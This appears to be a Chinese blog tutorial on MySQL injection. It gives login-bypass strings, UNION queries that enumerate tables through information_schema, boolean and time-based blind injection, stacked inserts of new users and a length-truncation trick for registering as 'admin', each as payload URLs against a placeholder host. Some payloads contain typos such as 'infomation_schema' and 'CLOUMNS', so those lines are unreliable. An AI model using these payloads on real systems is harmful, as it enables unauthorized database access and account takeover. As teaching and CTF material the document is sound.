Mysql注释符:
- 单行注释:
#
在对URL使用过程中可能遇到Unicode编码问题,可常用%23代替 - 多行注释:
/**/
- 单行注释:
--
此处需要注意后面存在空格,否则报错
0.万能密码
- (基于SQL验证,SQL注入)
- aaa' or 1#
- aaa' or 1; -- 会导致不成功,应为注释掉了sql语句拼接的单引号,导致无法完成查询
- aaa' or 1; -- aaaaa
- aaa' or 1; /******
- (基于%00截断绕过)
- aa' or 1 %00/*
- aa' or 1 %001451618646415:扰乱判定
1.UNION联合注入
前置关键词:union ;order by;limit;
union:使用时需要于前置查询结果列数相同
order by :可用于对指定列进行排序
limit a,b:取出查询的从a开始b个的指定位置数据
前置关键函数:database(); version();user(); database():当前数据库
关键数据库:information_schema
思路:直接查询
- 获取union前查询语句的列数
例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通过使用order by 排序来判定列数 - 假设已知列数为3,可进一步使用联合查询执行关键函数
例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通过使用order by 排序来判定列数 - 查询该当前数据库test有多少表
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通过使用information_schema的tables属性查询表,结合limit逐个查询 - 查询该当前表testTable字段信息
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通过使用information_schema的cloumns属性查询表字段,结合limit逐个查询。
注意:TABLE_NAME='testTable' 建议将testTable的16进制写入进行替换
扩展,可以使用concat(a,'--',b)函数可以将查询到的两个结果进行拼接,一般用于账号于密码md5值对应
2.BOOL布尔注入(盲注)
前置关键函数:mid() ;ord();length();
mid(str,1,2):字符串截取函数
ord():转为ascii码
length():统计长度
思路:可以进行逐个字符爆破猜解
- 使用and或者or进行测试
例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23 - 猜测数据库长度是否为3
例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23 - 猜测数据库名
例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23
通过截取数据库名的第一字符并转至为ascii与数字不断比较猜测 - 完成数据库名测试后,开始爆破表数量
例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23 - 完成表数量测试后,开始爆破表名
例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23
3.SLEEP延时注入(盲注)
前置关键函数:sleep(),if();
sleep():指定睡眠时间
if():类似于编程的三元表达式
- 例如猜测数据库长度
例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23 - 后面同布尔注入思路相同,逐个猜测即可
4.堆叠注入(Stacked Injection)
前置知识:SQL语法
注意:该方法不适用于Oracle数据库
利用原理:通过;来构造执行多条语句
- 例如可以插入信息,当然前提知道可以插入的字段,数据表等
例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23 - 后面思路可以执行SQL语句的思路来进行更关键的数据获取,增删查改等操作
5.基于约束型注入
前置知识:SQL语法
利用原理:由于管理员在创建数据库时可能对字段长度进行约束,输入是超过其长度限制,利用系统截断功能处理,一般常用于insert中进行覆盖等,多见于CTF题型中
- 例如20个字符以内varchar(20),存储用户名为admin可在账户注册部分进行测试
例如:注册账户设置为admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通过填充空格数进行恶意注册,利用数据库自行截断功能,获取的内容将变为admin(若代码存在清除空格)
6.GET型注入
7.POST型注入
8.Cookie注入
9.搜索型注入
10.宽字节注入
11.二次注入
12.Insert注入
13.报错型注入
14.二次编码注入
15.DNSlog注入(盲注)
资料参考
- CSDN: 基于约束型SQL注入
- CSDN: 基于约束条件的SQL攻击
后记
由于本人技术,精力有限,导致sql注入类型只是完成前5个详细说明,其他进行了列举,但是后期会抽出时间进行更新,以上内容有参考网上其他文章,已经列举至参考资料一栏,若存在错误,请大家予以斧正,若需商业化使用,请及时告知,谢谢。欢迎技术交流QQ:3300744526
网友评论